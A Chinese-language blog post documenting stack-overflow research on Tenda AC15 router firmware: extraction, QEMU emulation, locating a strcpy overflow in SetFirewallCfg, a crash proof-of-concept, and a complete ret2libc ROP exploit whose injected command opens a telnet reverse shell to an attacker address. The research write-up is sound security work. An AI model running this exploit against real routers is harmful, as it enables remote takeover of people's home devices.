f1r3K0's Blog

欲买桂花同载酒

某家用路由器固件漏洞挖掘利用

新年学点新东西,主要是栈溢出在IOT实战当中的利用。

一、固件提取

这里直接从Tenda官网下载的历史版本固件

https://www.tenda.com.cn/download

1
2
# binwalk直接解包
binwalk -Me US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin

还原出基本的文件系统结构

image-20250211152630608

webroot目录为前端资源,bin目录为主要后端功能以及系统shell命令

image-20250211153352660

Tenda路由器Web服务主要是用httpd服务启动的,因此我们首要分析httpd文件

固件基本信息:

image-20250211154108657

二、固件模拟

使用qemu-arm-static直接运行程序发现无法进行启动Web服务

image-20250212102111950

拖入ida看下程序流发现有两步检测,过不了就会进入死循环

image-20250212102459297

简单patch一下

image-20250212120608342

启动发现监听地址为255.255.255.255

image-20250212132510226

简单跟了一下外部函数调用过程,在libChipApi.so中,get_eth_name函数存在网卡名称匹配传递参数操作

image-20250212133102681

因此我们新建一个网桥

1
2
3
4
5
6
7
8
9
10
11
# 创建网桥接口
sudo ip link add name br0 type bridge

# 将物理接口 eth0 加入网桥
sudo ip link set eth0 master br0

# 启动网桥接口
sudo ip link set br0 up

# 通过 DHCP 获取 IP
sudo dhclient br0

成功启动,模拟完成

image-20250212133636289

image-20250212133740791

三、漏洞挖掘

根据Tenda的历史漏洞来看,scanf的格式化字符串漏洞和strcpy、sprintf、strcat这类字符串拷贝导致栈溢出的漏洞比较多,这里发现之前的CVE漏洞修复痕迹

image-20250212135736110

全局搜索strcpy函数,发现这里一处未经长度限制的src直接拷贝给dest处开辟的栈空间

image-20250212145715494

image-20250212145947855

搜索字符串找到fromSetFirewallCfg调用,有SetFirewallCfg和GetFirewallCfg两个方法调用

image-20250212151017966

sub_171EC的引用比较复杂,搜索了下发现存在websFormHandler,根据函数名猜测为Web与路由器交互注册的Handler

image-20250212151452488

发现相关路由以及参数

image-20250212152405462

测试下缓冲区溢出导致的程序崩溃

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests

url = "http://192.168.106.145/goform/SetFirewallCfg"
header = {
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"Cookie": "password=emt1qw"
}

payload = "A" * 200
data = {"firewallEn": payload}
response = requests.post(url, headers=header, data=data, timeout=5)
response = requests.post(url, headers=header, data=data, timeout=5)
print(response.text)

如图栈溢出漏洞测试成功

image-20250212153608766

四、漏洞利用

这里考虑方便直接利用ret2libc获取system地址,然后就是正常做题思路

1.peda计算偏移

2.计算system在libc中的地址

3.利用ROPgadget寻找可以控制r0寄存器的gadget

4.寻找一条可以pop到r3的gadget

5.构造exp

最终payload(借鉴官方)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
import requests

url = "http://192.168.106.139"
header = {
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"Cookie": "password=sds213"
}

# 命令执行利用telnet反弹shell
cmd = b"echo test;telnet 192.168.106.145 4444 | /bin/sh | telnet 192.168.106.145 5555"

libc_base_addr = 0xff58c000
libc = ELF("./lib/libc.so.0")
system_offset = libc.symbols["system"]

system_addr= libc_base_addr + system_offset
r3_pop =libc_base_addr + 0x00018298
move_r0= libc_base_addr+ 0x00040cb8

payload = cyclic(52) + p32(r3_pop) + p32(system_addr) + p32(move_r0) + cmd

data = {"firewallEn": payload}
response = requests.post(url + "/goform/SetFirewallCfg", headers=header, data=data)
print(response.text)

image-20250212175633962

PWN!


© 2025 K